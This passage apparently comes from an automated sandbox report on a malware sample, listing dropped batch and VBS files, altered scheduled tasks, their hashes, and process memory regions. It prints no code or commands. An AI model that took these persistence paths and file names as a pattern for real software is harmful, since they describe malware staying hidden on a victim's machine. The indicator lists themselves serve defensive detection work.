                                                                                                                          38ab1d399477c6a57b768fb9ee9800979cfab1de5fe066c2a7d8335aeab54dc6

                                                                                                                          SHA512

                                                                                                                          0510205b524c5e6d4eb10366ff92f51136963f1d18d3653c560e4c7c7b5cc8a71a22ba0b92618452a7fedb645cb60518f45e58022758b30079ab83428cdbdc60

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\VClient3.11.bat

                                                                                                                          Filesize

                                                                                                                          422KB

                                                                                                                          MD5

                                                                                                                          869440ffbff098f2805f2bc6ddd1a9f5

                                                                                                                          SHA1

                                                                                                                          85bac325a849358f534772363d8d3b5b7f7e91c7

                                                                                                                          SHA256

                                                                                                                          18baa5efa951d971177b202c4e92aea450f1fd7ed13b5c629e3d68340fd0a4e9

                                                                                                                          SHA512

                                                                                                                          5754c683da58fc952f804eff82cf4aedc4fdd2ea9e38a1c534ae4b894f58926ffdd13645ed781ad4fdc7318e705a03ec67edc47dc90a0619056618d18df3815a

                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qnx3bhom.afd.ps1

                                                                                                                          Filesize

                                                                                                                          60B

                                                                                                                          MD5

                                                                                                                          d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                          SHA1

                                                                                                                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                          SHA256

                                                                                                                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                          SHA512

                                                                                                                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                        • C:\Users\Admin\AppData\Roaming\$phantom-startup_str_81.vbs

                                                                                                                          Filesize

                                                                                                                          123B

                                                                                                                          MD5

                                                                                                                          2df569ee42dcec73283be6955bcad991

                                                                                                                          SHA1

                                                                                                                          187da2d8df905ef84612445cf325143fae415988

                                                                                                                          SHA256

                                                                                                                          5f39e6118bc7a33b07e82d43a4296f0ef1070686e1a3e989109cc4c47d132e75

                                                                                                                          SHA512

                                                                                                                          721db43ad9fc58178a8a4c5d8079c9bbd0433e43563241c0b239538cc7ac53925ba673d54496ff608742f2812984c38af17e1c7256a67c63c41a955ec1785302

                                                                                                                        • C:\Users\Admin\AppData\Roaming\Windows_Log_473.bat

                                                                                                                          Filesize

                                                                                                                          527KB

                                                                                                                          MD5

                                                                                                                          3d1653ee332959fc6ea17400cdb636bd

                                                                                                                          SHA1

                                                                                                                          3a75f6b73477b63300bc1065caaa7c9af066b6b4

                                                                                                                          SHA256

                                                                                                                          fdb0641302824a729dcdbf6235a60a7661ee14951f82cc486cf0a874e8c38e1e

                                                                                                                          SHA512

                                                                                                                          6eaaf2c0cd2322dcb9fcd71d030afaabaf13b0ed881fafe8db569da5cb2e196147045105067b3d5dc9aa80d2c61d44d6f063b82c74f6954b5bb956e4597e0b06

                                                                                                                        • C:\Users\Admin\AppData\Roaming\Windows_Log_473.vbs

                                                                                                                          Filesize

                                                                                                                          115B

                                                                                                                          MD5

                                                                                                                          10077a077a354f3d9d11e6e91643afab

                                                                                                                          SHA1

                                                                                                                          0d65aa9d2852ebcf81806a78b61bc74a4a0231b9

                                                                                                                          SHA256

                                                                                                                          4af83e6fa742791dce7a4e53075dffccb26350a75d406643fd97da82d32a61a6

                                                                                                                          SHA512

                                                                                                                          6aa6ef11e742037726396ec06ebc63145595f09f1ddbcbcb384377215510214359989012753e7b669e847a9b51bfbabfb339dde9df187668ac5ed0a6188ec207

                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          ceb7caa4e9c4b8d760dbf7e9e5ca44c5

                                                                                                                          SHA1

                                                                                                                          a3879621f9493414d497ea6d70fbf17e283d5c08

                                                                                                                          SHA256

                                                                                                                          98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

                                                                                                                          SHA512

                                                                                                                          1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          7d612892b20e70250dbd00d0cdd4f09b

                                                                                                                          SHA1

                                                                                                                          63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

                                                                                                                          SHA256

                                                                                                                          727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

                                                                                                                          SHA512

                                                                                                                          f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          0b990e24f1e839462c0ac35fef1d119e

                                                                                                                          SHA1

                                                                                                                          9e17905f8f68f9ce0a2024d57b537aa8b39c6708

                                                                                                                          SHA256

                                                                                                                          a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

                                                                                                                          SHA512

                                                                                                                          c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

                                                                                                                        • C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

                                                                                                                          Filesize

                                                                                                                          2KB

                                                                                                                          MD5

                                                                                                                          1e8e2076314d54dd72e7ee09ff8a52ab

                                                                                                                          SHA1

                                                                                                                          5fd0a67671430f66237f483eef39ff599b892272

                                                                                                                          SHA256

                                                                                                                          55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

                                                                                                                          SHA512

                                                                                                                          5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

                                                                                                                        • memory/540-52-0x00007FFAB2B90000-0x00007FFAB3651000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          10.8MB

                                                                                                                        • memory/540-15-0x000001B83C8B0000-0x000001B83C8B8000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          32KB

                                                                                                                        • memory/540-16-0x000001B83CCB0000-0x000001B83CD30000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          512KB

                                                                                                                        • memory/540-0-0x00007FFAB2B93000-0x00007FFAB2B95000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          8KB

                                                                                                                        • memory/540-13-0x000001B83CC60000-0x000001B83CCA4000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          272KB

                                                                                                                        • memory/540-12-0x00007FFAB2B90000-0x00007FFAB3651000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          10.8MB

                                                                                                                        • memory/540-11-0x00007FFAB2B90000-0x00007FFAB3651000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          10.8MB

                                                                                                                        • memory/540-1-0x000001B822560000-0x000001B822582000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          136KB

                                                                                                                        • memory/540-14-0x000001B83CD30000-0x000001B83CDA6000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          472KB

                                                                                                                        • memory/636-63-0x000001916FA10000-0x000001916FA62000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          328KB

                                                                                                                        • memory/636-62-0x000001916F680000-0x000001916F688000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          32KB

                                                                                                                        • memory/924-151-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1136-149-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1172-145-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1428-150-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1436-156-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1572-144-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/1720-155-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/2144-148-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/2324-152-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/2560-147-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/3088-48-0x000001645D380000-0x000001645D3D8000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          352KB

                                                                                                                        • memory/3396-143-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/3396-93-0x0000000008770000-0x000000000879A000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          168KB

                                                                                                                        • memory/3568-146-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/3684-92-0x000001BBD4EC0000-0x000001BBD4F12000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          328KB

                                                                                                                        • memory/5004-153-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB

                                                                                                                        • memory/5048-154-0x00007FFA91BB0000-0x00007FFA91BC0000-memory.dmp

                                                                                                                          Filesize

                                                                                                                          64KB